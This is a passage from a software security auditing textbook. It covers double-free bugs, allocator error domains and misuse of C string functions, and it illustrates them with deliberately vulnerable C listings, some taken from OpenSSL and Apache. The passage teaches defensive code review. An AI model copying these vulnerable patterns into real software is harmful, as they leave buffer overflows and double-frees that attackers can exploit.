circumstances When a request is made larger than 100 000 bytes, the function rounds off the size to 100 000. Notes The rounding is done after the maximum size check, so there is no integer wrap there. Errors None, only if malloc() fails. This scorecard summarizes all potential allocator problem areas. There's no column indicating whether values are signed or listing 16-bit issues because you can instantly deduce this information from looking at the function prototype. If the function has internal issues caused by the signed conditions of values, list them in the Notes row of the scorecard. For simple allocators, you might be able to summarize even further to error domains. An error domain is a set of values that, when supplied to the function, generate one of the exceptional conditions that could result in memory corruption. Table 7-7 provides an example of summarizing a single error domain for a function. Table 7-7. Error Domain Function prototype int my_malloc() Error domain 0xFFFFFFF1 to 0xFFFFFFFF Implication Integer wrap; allocates a small chunk Each allocator might have a series of error domains, each with different implications. This shorthand summary is a useful tool for code auditing because you can refer to it and know right away that, if an allocator is called with one of the listed values, there's The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 397 a vulnerability. You can go through each allocator quickly as it's called to see if this possibility exists. The advantage of this tool is that it's compact, but the downside is you lose some detail. For more complicated allocators you may need to refer to more detailed notes and function audit logs. Error domain tables can be used with any functions you audit, not just allocators; however, there are some disadvantages. Allocation functions tend to be small and specific, and you more or less know exactly what they do. Allocator scorecards and error domain tables help capture the differences between using system-supplied allocation routines and application-specific ones that wrap them. With other functions that perform more complex tasks, you might lose too much information when attempting to summarize them this compactly. Double-Frees Occasionally, developers make the mistake of deallocating objects twice (or more), which can have consequences as serious as any other form of heap corruption. Deallocating objects more than once is dangerous for several reasons. For example, what if a memory block is freed and then reallocated and filled with other data? When the second free() occurs, there's no longer a control structure at the address passed as a parameter to free(), just some arbitrary program data. What's to prevent this memory location from containing specially crafted data to exploit the heap management routines? There is also a threat if memory isn't reused between successive calls to free() because the memory block could be entered into free-block list twice. Later in the program, the same memory block could be returned from an allocation request twice, and the program might attempt to store two different objects at the same location, possibly allowing arbitrary code to run. The second example is less common these days because most memory management libraries (namely, Windows and GNU libc implementations) have updated their memory allocators to ensure that a block passed to free() is already in use; if it's not, the memory allocators don't do anything. However, some OSs have allocators that don't protect against a double free attack; so bugs of this nature are still considered serious. When auditing code that makes use of dynamic memory allocations, you should track each path throughout a variable's lifespan to see whether it's accidentally deallocated with the free() function more than once. Listing 7-45 shows an example of a double-free vulnerability. Listing 7-45. Double-Free Vulnerability int read_data(int sockfd) { char *data; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 398 int length; length = get_short_from_network(sockfd); data = (char *)malloc(length+1); if(!data) return 1; read_string(sockfd, data, length); switch(get_keyword(data)){ case USERNAME: success = record_username(data); break; case PASSWORD: success = authenticate(data); break; default: error("unknown keyword supplied!\n"); success = -1; free(data); } free(data); return success; } In this example, you can see that the bolded code path frees data twice because when it doesn't identify a valid keyword. Although this error seems easy to avoid, complex applications often have subtleties that make these mistakes harder to spot. Listing 7-46 is a real-world example from OpenSSL 0.9.7. The root cause of the problem is the CRYPTO_realloc_clean() function. Listing 7-46. Double-Free Vulnerability in OpenSSL void *CRYPTO_realloc_clean(void *str, int old_len, int num, const char *file, int line) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 399 { void *ret = NULL; if (str == NULL) return CRYPTO_malloc(num, file, line); if (num < 0) return NULL; if (realloc_debug_func != NULL) realloc_debug_func(str, NULL, num, file, line, 0); ret=malloc_ex_func(num,file,line); if(ret) memcpy(ret,str,old_len); OPENSSL_cleanse(str,old_len); free_func(str); ... return ret; } As you can see, the CRYPTO_realloc_clean() function frees the str parameter passed to it, whether it succeeds or fails. This interface is quite unintuitive and can easily lead to double-free errors. The CRYPTO_realloc_clean() function is used internally in a buffer-management routine, BUF_MEM_grow_clean(), which is shown in the following code: int BUF_MEM_grow_clean(BUF_MEM *str, int len) { char *ret; unsigned int n; if (str->length >= len) { memset(&str->data[len],0,str->length-len); str->length=len; return(len); } if (str->max >= len) { memset(&str->data[str->length],0,len-str->length); str->length=len; return(len); } n=(len+3)/3*4; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 400 if (str->data == NULL) ret=OPENSSL_malloc(n); else ret= if (ret == NULL) { BUFerr(BUF_F_BUF_MEM_GROW,ERR_R_MALLOC_FAILURE); len=0; } else { str->data=ret; str->max=n; memset(&str->data[str->length],0,len-str->length); str->length=len; } return(len); } As a result of calling OPENSSL_realloc_clean(), the BUF_MEM_grow_clean() function might actually free its own data element. However, it doesn't set data to NULL when this reallocation failure occurs. This quirky behavior makes a double-free error likely in functions that use BUF_MEM structures. Take a look at this call in asn1_collate_primitive(): if (d2i_ASN1_bytes(&os,&c->p,c->max-c->p, c->tag,c->xclass) == NULL) { c->error=ERR_R_ASN1_LIB; goto err; } if (!BUF_MEM_grow_clean(&b,num+os->length)) { c->error=ERR_R_BUF_LIB; goto err; } ... err: ASN1err(ASN1_F_ASN1_COLLATE_PRIMITIVE,c->error); if (os != NULL) ASN1_STRING_free(os); if (b.data != NULL) OPENSSL_free(b.data); return(0); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 401 } This function attempts to grow the BUF_MEM structure b, but when an error is returned, it frees any resources it has and returns 0. As you know now, if BUF_MEM_grow_clean() fails because of a failure in CRYPTO_realloc_clean(), it frees b.data but doesn't set it to NULL. Therefore, the bolded code frees b.data a second time. Code auditors should be especially aware of double-frees when auditing C++ code. Sometimes keeping track of an object's internal state is difficult, and unexpected states could lead to double-frees. Be mindful of members that are freed in more than one member function in an object (such as a regular member function and the destructor), and attempt to determine whether the class is ever used in such a way that an object can be destructed when some member variables have already been freed. Double-free errors can crop up in other ways. Many operating systems' reallocation routines free a buffer that they're supposed to reallocate if the new size for the buffer is 0. This is true on most UNIX implementations. Therefore, if an attacker can cause a call to realloc() with a new size of 0, that same buffer might be freed again later; there's a good chance the buffer that was just freed will be written into. Listing 7-47 shows a simple example. Listing 7-47. Reallocation Double-Free Vulnerability #define ROUNDUP(x) (((x)+15) & 0xFFFFFFF0) int buffer_grow(buffer *buf, unsigned int size) { char *data; unsigned int new_size = size + buf->used; if(new_size < size) return 1; /* integer overflow */ data = (char *)realloc(buf->data, ROUNDUP(new_size)); if(!data) return 1; buf->data = data; buf->size = new_size; return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 402 int buffer_free(buffer *buf) { free(buf->data); free(buf); return 0; } buffer *buffer_new(void) { buffer *buf; buf = calloc(1, sizeof(buffer)); if(!buf) return NULL; buf->data = (char *)malloc(1024); if(!buf->data){ free(buf); return NULL; } return buf; } This code shows some typical buffer-management routines. From what you have learned about allocation routines, you can classify a couple of interesting characteristics about buffer_grow(). Primarily, it checks for integer overflows when increasing the buffer, but that rounding is performed after the check. Therefore, whenever new_size() and buf->used are added together and give a result between 0xFFFFFFF1 and 0xFFFFFFFF, the roundup causes an integer overflow, and the value 0 is passed to realloc(). Also, notice that if realloc() fails, buf->data isn't set to a NULL pointer. This is important because when realloc() frees a buffer because of a 0-length parameter, it returns NULL. The following code shows some potential implications: int process_login(int sockfd) { int length; buffer *buf; buf = buffer_new(); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 403 length = read_integer(sockfd); if(buffer_grow(buf, length) < 0){ buffer_free(buf); return 1; } ... read data into the buffer ... return 0; } The process_login() function attempts to increase the buffer enough to store subsequent data. If the supplied length is large enough to make the integer wrap, the buf->data member is freed twiceonce during buffer_grow() when a size of 0 is passed to realloc(), and once more in buffer_free(). This example spans multiple functions for a specific reason; often bugs of this nature are spread out in this way and are less obvious. This bug would be easy to miss if you didn't pay careful attention to how buffer_grow() works (to notice the integer overflow) and to the nuances of how realloc() works. 7.3.6 Summary This chapter has focused on the basic components that make up a programming language: variable use, control flow, function calls, and memory management. By learning about potential security vulnerabilities from the perspective of each of these building blocks, you can isolate recurring patterns in software security vulnerabilities. In addition, you saw how to target areas where a programmer is more likely to create vulnerabilities when translating a design into a final implementation. Finally, you learned some tools for tracking your work and simplifying the process of identifying vulnerabilities. 7.4 Chapter 8. Strings and Metacharacters "The edge... There is no honest way to explain it because the only people who know where it is are the one's who have never gone over." 7.4.1 Introduction Textual representation is one of the oldest methods of handling data, and almost certainly the most popular. Unfortunately, a number of common mistakes in handling textual data have given text-based formats a reputation as one of the least secure The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 404 methods of data processing. Many of the most significant security vulnerabilities of the last decade are the result of memory corruption due to mishandling textual data, or logical flaws due to the misinterpretation of the content in textual data. This chapter explores security vulnerabilities related to processing textual data formats contained in strings. The coverage addresses the major areas of string handling: memory corruption due to string mishandling; vulnerabilities due to in-band control data in the form of metacharacters; and vulnerabilities resulting from conversions between character encodings in different languages. By understanding the common patterns associated with these vulnerabilities, you can identify and prevent their occurrence. 7.4.2 C String Handling In C, there's no native type for strings; instead, strings are formed by constructing arrays of the char data type, with the NUL character (0x00) marking the end of a string (sometimes referred to as a NULL character or EOS). Representing a string in this manner means that the length of the string is not associated with the buffer that contains it, and it is often not known until runtime. These details require programmers to manage the string buffers manually, generally in one of two ways. They can estimate how much memory to reserve (by choosing a conservative maximum) for a statically sized array, or they can use memory allocation APIs available on the system to dynamically allocate memory at runtime when the amount of space required for a data block is known. The second option seems more sensible, but it has some drawbacks. Far more processing overhead is involved when allocating memory dynamically, and programmers need to ensure that memory is freed correctly in each possible code path to avoid memory leaks. The C++ standard library provides a string class that abstracts the internals so that programmers don't need to deal explicitly with memory-sizing problems. The C++ string class is, therefore, a little safer and less likely to be exposed to vulnerabilities that occur when dealing with characters in C. However, programmers often need to convert between C strings and C++ string classes to use APIs that require C strings; so even a C++ program can be vulnerable to C string handling vulnerabilities. Most C string handling vulnerabilities are the result of the unsafe use of a handful of functions, which are covered in the following sections. Unbounded String Functions The first group of functions is conventionally unsafe string manipulation functions. The main problem with these functions is that they are unboundedthat is, the destination buffer's size isn't taken into account when performing a data copy. This The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 405 means that if the string length of the source data supplied to these functions exceeds the destination buffer's size, a buffer overflow condition could be triggered, often resulting in exploitable memory corruption. Code auditors must systematically examine each appearance of these functions in a codebase to determine whether they are called in an unsafe manner. Simply put, code auditors must find out whether those functions can be reached when the destination buffer isn't large enough to contain the source content. By analyzing all the code paths that lead to these unsafe routines, you can find whether this problem exists and classify the call as safe or unsafe. scanf() The scanf() functions are used when reading in data from a file stream or string. Each data element specified in the format string is stored in a corresponding argument. When strings are specified in the format string (using the %s format specifier), the corresponding buffer needs to be large enough to contain the string read in from the data stream. The scanf() function is summarized in the following list:  Function int scanf(const char *format, ...);  API libc (UNIX and Windows)  Similar functions _tscanf, wscanf, sscanf, fscanf, fwscanf, _snscanf, _snwscanf  Purpose The scanf() function parses input according to the format specified in the format argument. The following code shows an example of misusing scanf(): int read_ident(int sockfd) { int sport, cport; char user[32], rtype[32], addinfo[32]; char buffer[1024]; if(read(sockfd, buffer, sizeof(buffer)) <= 0){ perror("read: %m"); return 1; } buffer[sizeof(buffer)1] = '\0'; sscanf(buffer, "%d:%d:%s:%s:%s", &sport, &cport, rtype, user, addinfo); ... } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 406 The code in this example reads an IDENT response (defined at www.ietf.org/rfc/rfc1413.txt) from a client. As you can see, up to 1024 bytes are read and then parsed into a series of integers and colon-separated strings. The user, rtype, and addinfo variables are only 32 bytes long, so if the client supplies any of those fields with a string larger than 32 bytes, a buffer overflow occurs. sprintf() The sprintf() functions have accounted for many security vulnerabilities in the past. If the destination buffer supplied as the first parameter isn't large enough to handle the input data elements, a buffer overflow could occur. Buffer overflows happen primarily because of printing large strings (using the %s or %[] format specifiers). Although less common, other format specifiers (such as %d or %f) can also result in buffer overflows. If users can partially or fully control the format argument, another type of bug could occur, known as "format string" vulnerabilities. They are discussed in more detail later in this chapter in "C Format Strings(? [????.])." The sprintf() function is summarized in the following list:  Function int sprintf(char *str, const char *format, ...);  API libc (UNIX and Windows)  Similar functions _stprintf, _sprintf, _vsprintf, vsprintf, swprintf, swprintf, vsprintf, vswprintf, _wsprintfA, _wsprintfW  Purpose The sprintf() functions print a formatted string to a destination buffer. The following example is taken from the Apache JRUN module: static void WriteToLog(jrun_request *r, const char *szFormat, ...) { server_rec *s = (server_rec *) r->context; va_list list; char szBuf[2048]; strcpy(szBuf, r->stringRep); va_start (list, szFormat); vsprintf (strchr(szBuf,'\0'), szFormat, list); va_end (list); #if MODULE_MAGIC_NUMBER > 19980401 /* don't need to add newline - this function does it for us */ ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_NOTICE, s, "%s", szBuf); #else log_error(szBuf, s); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 407 #endif #ifdef WIN32 strcat(szBuf, "\r\n"); OutputDebugString(szBuf); #endif } This example is a classic misuse of vsprintf(). The destination buffer's size isn't accounted for at all, so a buffer overflow occurs if the vsprintf() function can be called with any string larger than 2048 bytes. Note The _wsprintfA() and _wsprintfW() functions copy a maximum of 1024 characters into the destination buffer, as opposed to the other sprintf() functions, which copy as many as required. strcpy() The strcpy() family of functions is notorious for causing a large number of security vulnerabilities in many applications over the years. If the destination buffer can be smaller than the length of the source string, a buffer overflow could occur. The wscpy(), wcscpy(), and mbscpy() functions are similar to strcpy() except they deal with wide and multibyte characters and are common in Windows applications. The following list summarizes the strcpy() functions:  Function char *strcpy(char *dst, char *src)  API libc (UNIX and Windows)  Similar functions _tcscpy, lstrcpyA, wcscpy, _mbscpy  Purpose strcpy() copies the string located at src to the destination dst. It ceases copying when it encounters an end of string character (a NUL byte). The following code is an example of misusing strcpy(): char *read_command(int sockfd) { char username[32], buffer[1024]; int n; if((n = read(sockfd, buffer, sizeof(buffer)1) <= 0) return NULL; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 408 buffer[n] = '\0'; switch(buffer[0]){ case 'U': strcpy(username, &buffer[1]); break; ... } } This code is an obvious misuse of strcpy(). The source buffer can easily contain a string longer than the destination buffer, so a buffer overflow might be triggered. Bugs of this nature were once very common, but they are less common now because developers are more aware of the misuses of strcpy(); however, they still occur, particularly in closed-source applications that aren't widely distributed. strcat() String concatenation is often used when building strings composed of several components (such as paths). When calling strcat(), the destination buffer (dst) must be large enough to hold the string already there, the concatenated string (src), plus the NUL terminator. The following list summarizes the strcat() function:  Function char *strcat (char *dst, char *src)  API libc (UNIX and Windows)  Similar functions _tcscat, wcscat, _mbscat  Purpose The strcat() functions are responsible for concatenating two strings together. The src string is appended to dst. The following code shows an example of misusing strcat(): int process_email(char *email) { char username[32], domain[128], *delim; int c; delim = strchr(email, '@'); if(!delim) return -1; *delim++ = '\0'; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 409 if(strlen(email) >= sizeof(username)) return -1; strcpy(username, email); if(strlen(delim) >= sizeof(domain)) return -1; strcpy(domain, delim); if(!strchr(delim, '.')) strcat(domain, default_domain); delim[-1] = '@'; ... process domain ... return 0; } The code in this example performs several string copies, although each one includes a length check to ensure that the supplied buffer doesn't overflow any destination buffers. When a hostname is supplied without a trailing domain, however, a default string value is concatenated to the buffer in an unsafe manner (as shown in the bolded line). This vulnerability occurs because no size check is done to ensure that the length of default_domain plus the length of delim is less than the length of the domain buffer. Bounded String Functions The bounded string functions were designed to give programmers a safer alternative to the functions discussed in the previous section. These functions include a parameter to designate the length (or bounds) of the destination buffer. This length parameter makes it easier to use the bounded functions securely, but they are still susceptible to misuse in more subtle ways. For instance, it is important to double-check that the specified length is in fact the correct size of the resulting buffer. Although this check sounds obvious, length miscalculations or erroneous length parameters are frequent when using these functions. These are the conditions that might cause the length parameter to be incorrect:  Carelessness  Erroneous input  Length miscalculation The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 410  Arithmetic boundary conditions  Converted data types This shouldn't be considered an exhaustive list of problems. However, it should emphasize the point that use of safe functions doesn't necessarily mean the code is secure. snprintf() The snprintf() function is a bounded sprintf() replacement; it accepts a maximum number of bytes that can be written to the output buffer. This function is summarized in the following list:  Function int snprintf(char *dst, size_t n, char *fmt, ...)  API libc (UNIX and Windows)  Similar functions _sntprintf, _snprintf, _snwprintf, vsnprintf, _vsnprintf, _vsnwprintf  Purpose snprintf() formats data according to format specifiers into a string, just like sprintf(), except it has a size parameter. An interesting caveat of this function is that it works slightly differently on Windows and UNIX. On Windows OSs, if there's not enough room to fit all the data into the resulting buffer, a value of -1 is returned and NUL termination is not guaranteed. Conversely, UNIX implementations guarantee NUL termination no matter what and return the number of characters that would have been written had there been enough room. That is, if the resulting buffer isn't big enough to hold all the data, it's NUL-terminated, and a positive integer is returned that's larger than the supplied buffer size. This difference in behavior can cause bugs to occur in these situations:  A developer familiar with one OS is writing code for another and isn't aware of their differences.  An application is built to run on both Windows and UNIX, so the application works correctly on one OS but not the other. Listing 8-1 is an example of a vulnerability resulting from assuming the UNIX behavior of vsnprintf() in a Windows application. Listing 8-1. Different Behavior of vsnprintf() on Windows and UNIX #define BUFSIZ 4096 int log(int fd, char *fmt, ...) { char buffer[BUFSIZ]; int n; va_list ap; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 411 va_start(ap, fmt); n = vsnprintf(buffer, sizeof(buffer), fmt, ap); if(n >= BUFSIZ - 2) buffer[sizeof(buffer)-2] = '\0'; strcat(buffer, "\n"); va_end(ap); write_log(fd, buffer, strlen(buffer)); return 0; } The code in Listing 8-1 works fine on UNIX. It checks to ensure that at least two bytes still remain in the buffer to fit in the trailing newline character or it shortens the buffer so that the call to strcat() doesn't overflow. If the same code is run on Windows, however, it's a different story. If buffer is filled, n is set to 1, so the length check passes and the newline character is written outside the bounds of buffer. strncpy() The strncpy() function is a "secure" alternative to strcpy(); it accepts a maximum number of bytes to be copied into the destination. The following list summarizes the strncpy() function:  Function char *strncpy(char *dst, char *src, size_t n)  API libc (UNIX and Windows)  Similar functions _tcsncpy, _csncpy, wcscpyn, _mbsncpy  Purpose strncpy() copies the string located at src to the destination dst. It ceases copying when it encounters an end of string character (a NUL byte) or when n characters have been written to the destination buffer. The strncpy() function does not guarantee NUL-termination of the destination string. If the source string is larger than the destination buffer, strncpy() copies as many bytes as indicated by the size parameter, and then ceases copying without NUL-terminating the buffer. This means any subsequent operations performed on the resulting string could produce unexpected results that can lead to a security vulnerability. Listing 8-2 shows an example of misusing strncpy(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 412 Listing 8-2. Dangerous Use of strncpy() int is_username_valid(char *username) { char *delim; int c; delim = strchr(name, ':'); if(delim){ c = *delim; *delim = '\0'; } ... do some processing on the username ... *delim = c; return 1; } int authenticate(int sockfd) { char user[1024], *buffer; size_t size; int n, cmd; cmd = read_integer(sockfd); size = read_integer(sockfd); if(size > MAX_PACKET) return -1; buffer = (char *)calloc(size+1, sizeof(char)); if(!buffer) return -1; read_string(buffer, size); switch(cmd){ case USERNAME: strncpy(user, buffer, sizeof(user)); if(!is_username_valid(user)) goto fail; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 413 break; ... } } The code copies data into a buffer by using strncpy() but fails to explicitly NUL-terminate the buffer afterward. The buffer is then passed as an argument to the is_username_valid() function, which performs a strchr() on it. The strchr() function searches for a specific character in a string (the : in this case). If strchr() finds the character it returns a pointer to it, otherwise it returns a NULL if the character is not found. Because there's no NUL character in this buffer, strchr() might go past the end of the buffer and locate the character it's searching for in another variable or possibly in the program's control information (such as a frame pointer, return address on the stack, or a chunk header on the heap). This byte is then changed, thus potentially affecting the program's state in an unpredictable or unsafe manner. The wcscpyn() function is a safe alternative to wcscpy(). This function is susceptible to the same misuses as strncpy(). If the source string is larger than the destination buffer, no NUL terminator is appended to the resulting string. Additionally, when dealing with wide characters, application developers often make the mistake of supplying the destination buffer's size in bytes rather than specifying the number of wide characters that can fit into the destination buffer. This issue is discussed later in this chapter in "Windows Unicode Functions(? [????.])." strncat() The strncat() function, summarized in the following list, is intended to be a safe alternative to the strcat() function:  Function char *strncat(char *dst, char *src, size_t n)  API libc (UNIX and Windows)  Similar functions _tcsncat, wcsncat, _mbsncat  Purpose strncat() concatenates two strings together. The string src points to is appended to the string dst points to. It copies at most n bytes. However, strncat() is nearly as dangerous as strcat(), in that it's quite easy to misuse. Specifically, the size parameter can be confusingit indicates the amount of space left in the buffer. The first common mistake application developers make is supplying the size of the entire buffer instead of the size remaining in the buffer. This mistake is shown in the following example: int copy_data(char *username) { char buf[1024]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 414 strcpy(buf, "username is: "); strncat(buf, username, sizeof(buf)); log("%s\n", buf); return 0; } This code incorrectly supplies the buffer's total size rather than the remaining size, thus allowing someone who can control the username argument to overflow the buffer. A more subtle mistake can be made when using strncat(). As stated previously, the size argument represents how many bytes remain in the buffer. This statement was slightly oversimplified in that the size doesn't account for the trailing NUL byte, which is always added to the end of the string. Therefore, the size parameter needs to be the amount of space left in the buffer less one; otherwise, the NUL byte is written one byte past the end of the buffer. The following example shows how this mistake typically appears in application code: int copy_data(char *username) { char buf[1024]; strcpy(buf, "username is: "); strncat(buf, username, sizeof(buf) strlen(buf)); log("%s\n", buf); return 0; } This code doesn't account for the trailing NUL byte, so it's an off-by-one vulnerability. Note that even when supplying the correct length parameter to strncat (that is, sizeof(buf) strlen(buf) 1), an integer underflow could occur, also resulting in a buffer overflow. strlcpy() The strlcpy() function is a BSD-specific extension to the libc string APIs. It attempts to address the shortcomings of the strncpy() function. Specifically, it guarantees NUL byte termination of the destination buffer. This function is one of the safest The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 415 alternatives to strcpy() and strncpy(); however, it's not used a great deal for portability reasons. The following list summarizes the strlcpy() function:  Function size_t strlcpy(char *dst, char *src, size_t n)  API libc (BSD)  Similar functions None  Purpose strlcpy() acts exactly the same as strncpy() except it guarantees that the destination buffer is NUL-terminated. The length argument includes space for the NUL byte. When auditing code that uses strlcpy(), be aware that the size returned is the length of the source string (not including the NUL byte), so the return value can be larger than the destination buffer's size. The following example shows some vulnerable code: int qualify_username(char *username) { char buf[1024]; size_t length; length = strlcpy(buf, username, sizeof(buf)); strncat(buf, "@127.0.0.1", sizeof(buf) length); ... do more stuff ... } The length parameter returned from strlcpy() is used incorrectly in this code. If the username parameter to this function is longer than 1024 bytes, the strlcat() size parameter underflows and allows data to be copied out of the buffer's bounds. Vulnerabilities such as this aren't common because the return value is usually discarded. However, ignoring the result of this function can result in data truncation. strlcat() The strlcat() function, summarized in the following list, is another BSD-specific extension to the libc API that is intended to address the shortcomings of the strncat() function:  Function size_t strlcat(char *dst, char *src, size_t n)  API libc (BSD)  Similar functions None  Purpose strlcat() concatenates two strings together in much the same way as strncat(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 416 The size parameter has been changed so that the function is simpler for developers to use. The size parameter for strlcat() is the total size of the destination buffer instead of the remaining space left in the buffer, as with strncat(). The strlcat() function guarantees NUL-termination of the destination buffer. Again, this function is one of the safest alternatives to strcat() and strncat(). Like strlcpy(), strlcat() returns the total number of bytes required to hold the resulting string. That is, it returns the string length of the destination buffer plus the string length of the source buffer. One exception is when the destination string buffer is already longer than the n parameter, in which case the buffer is left untouched and the n parameter is returned. Common Issues Parsing text at the character level can be a complicated task. Small oversights made by application developers can result in buffer overflows, operating on uninitialized memory regions, or misinterpretations of the content. Code auditors need to focus on code regions that manipulate text, particularly write operations because careless writes pose the most immediate threat to application security. The following sections introduce fundamental concepts and provide some common examples of text processing issues. Unbounded Copies The easiest unbounded copies to spot are those that simply don't do any checking on the bounds of destination buffers, much like the vulnerable use of strcpy() in "Unbounded String Functions." Listing 8-3 shows an example. Listing 8-3. Strcpy()-like Loop if (recipient == NULL && Ustrcmp(errmess, "empty address") != 0) { uschar hname[64]; uschar *t = h->text; uschar *tt = hname; uschar *verb = US"is"; int len; while (*t != ':') *tt++ = *t++; *tt = 0; Listing 8-3 shows a straightforward vulnerability. If the length of the source string is larger than the size of hname, a stack overflow occurs when the bolded code runs. It's a good idea to note functions that make blatantly unchecked copies like this and see whether they are ever called in a vulnerable manner. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 417 Character Expansion Character expansion occurs when software encodes special characters, resulting in a longer string than the original. This is common in metacharacter handling, as discussed over the course of this chapter, but it can also occur when raw data is formatted to make it human readable. Character expansion code may be vulnerable when the resulting expanded string is too large to fit in the destination buffer, as in the example in Listing 8-4. Listing 8-4. Character Expansion Buffer Overflow int write_log(int fd, char *data, size_t len) { char buf[1024], *src, *dst; if(strlen(data) >= sizeof(buf)) return -1; for(src = data, dst = buf; *src; src++){ if(!isprint(*src)){ sprintf(dst, "%02x", *src); dst += strlen(dst); } else *dst++ = *src; } *dst = '\0'; ... } In Listing 8-4, you can see that if nonprintable characters are encountered, the bolded section of the code writes a hexadecimal representation of the character to the destination buffer. Therefore, for each loop iteration, the program could write two output characters for every one input character. By supplying a large number of nonprintable characters an attacker can cause an overflow to occur in the destination buffer. Incrementing Pointers Incorrectly Security vulnerabilities may occur when pointers can be incremented outside the bounds of the string being operated on. This problem happens primarily in one of the following two cases: when a string isn't NUL-terminated correctly; or when a NUL terminator can be skipped because of a processing error. You saw in Listing 8-2 that The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 418 strncpy() can be the cause of a string not being NUL-terminated. Often when a string isn't terminated correctly, further processing on the string is quite dangerous. For example, consider a string being searched with the strchr() function for a particular separator. If the NUL terminator is missing, the search doesn't stop at the end of the user-supplied data as intended. The character being searched for may be located in uninitialized memory or adjacent variables, which is a potential vulnerability. The following example shows a similar situation: int process_email(char *email) { char buf[1024], *domain; strncpy(buf, email, sizeof(buf)); domain = strchr(buf, '@'); if(!domain) return -1; *domain++ = '\0'; ... return 0; } The example neglects to NUL-terminate buf, so the subsequent character search might skip outside the buffer's bounds. Even worse, the character being searched for is changed to a NUL byte, so variables or program state could possibly be corrupted. Another interesting implication of neglecting to NUL-terminate a buffer is that a buffer overflow condition might be introduced if the programmer makes assumptions about the maximum length of the string in the buffer. The following code shows a common example of making this assumption: int process_address(int sockfd) { char username[256], domain[256], netbuf[256], *ptr; read_data(sockfd, netbuf, sizeof(netbuf)); ptr = strchr(netbuf, ':'); if(ptr) *ptr++ = '\0'; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 419 strcpy(username, netbuf); if(ptr) strcpy(domain, ptr); ... } The process_address() function is written with the assumption that read_data() correctly NUL-terminates the netbuf character array. Therefore, the strcpy() operations following it should be safe. If the read_data() function doesn't properly terminate the buffer, however, the length of the data read in to netbuf can be longer than 256 depending on what's on the program stack after it. Therefore, the strcpy() operations could overflow the username buffer. There's also the odd situation of code that's processing text strings failing to identify when it has encountered a NUL byte because of an oversight in the processing. This error might happen because the code searches for a particular character in a string but fails to check for a NUL byte, as shown in the following example: // locate the domain in an e-mail address for(ptr = src; *ptr != '@'; ptr++); Notice that this loop is searching specifically for an @ character, but if none are in the string, the loop keeps incrementing past the end of the string until it finds one. There are also slight variations to this type of error, as in this example: // locate the domain in an e-mail address for(ptr = src; *ptr && *ptr != '@'; ptr++); ptr++; This second loop is formed more correctly and terminates when it encounters the @ symbol or a NUL byte. However, after the loop is completed, the programmer still made the assumption that it stopped because it found an @ symbol, not a NUL byte. Therefore, if the @ symbol is not found the pointer is incremented past the NUL byte. The third example of incrementing outside a buffer's bounds usually occurs when programmers make assumptions on the content of the buffer they're parsing. An attacker can use intentionally malformed data to take advantage of these assumptions and force the program into doing something it shouldn't. Say you have The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 420 a string containing variables submitted by a form from a Web site, and you want to parse and store these variables. This process involves decoding hexadecimal sequences in the form %XY; X and Y are hexadecimal characters (09, af, and AF) representing a byte value. If the application fails to ensure that one of the two characters following the % is a NUL terminator, the application might attempt to decode the hexadecimal sequence and then skip the NUL byte and continue processing on uninitialized memory. Listing 8-5 shows an example of this error. Listing 8-5. Vulnerable Hex-Decoding Routine for URIs /* * Decoding URI-encoded strings */ void nmz_decode_uri(char *str) { int i, j; for (i = j = 0; str[i]; i++, j++) { if (str[i] == '%') { str[j] = decode_uri_sub(str[i + 1], str[i + 2]); i += 2; } else if (str[i] == '+') { str[j] = ' '; } else { str[j] = str[i]; } } str[j] = '\0'; } This code contains a simple mistake in the bolded line: The developer makes the assumption that two valid characters follow a % character, which also assumes that the string doesn't terminate in those two bytes. Strings can often have a more complicated structure than the developer expects, however. Because there are multiple state variables that affect how the parsing function interprets text, there are more possibilities to make a mistake such as this one. Listing 8-6 shows another example of this type of error. It's taken from the mod_dav Apache module and is used to parse certain HTTP headers. Listing 8-6. If Header Processing Vulnerability in Apache's mod_dav Module while (*list) { /* List is the entire production (in a URI scope) */ switch (*list) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 421 case '<': if ((state_token = dav_fetch_next_token(&list, '>')) == NULL) { /* ### add a description to this error */ return dav_new_error(r->pool, HTTP_BAD_REQUEST, DAV_ERR_IF_PARSE, NULL); } if ((err = dav_add_if_state(r->pool, ih, state_token, dav_if_opaquelock, condition, locks_hooks)) != NULL) { /* ### maybe add a higher level description */ return err; } condition = DAV_IF_COND_NORMAL; break; case 'N': if (list[1] == 'o' && list[2] == 't') { if (condition != DAV_IF_COND_NORMAL) { return dav_new_error(r->pool, HTTP_BAD_REQUEST, DAV_ERR_IF_MULTIPLE_NOT, "Invalid \"If:\" header: " "Multiple \"not\" entries " "for the same state."); } condition = DAV_IF_COND_NOT; } list += 2; break; case ' ': case '\t': break; default: return dav_new_error(r->pool, HTTP_BAD_REQUEST, DAV_ERR_IF_UNK_CHAR, apr_psprintf(r->pool, "Invalid \"If:\" " "header: Unexpected " "character encountered " "(0x%02x, '%c').", *list, *list)); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 422 } list++; } break; This code fails to check for NUL terminators correctly when it encounters an N character. The N case should check for the presence of the word "Not" and then skip over 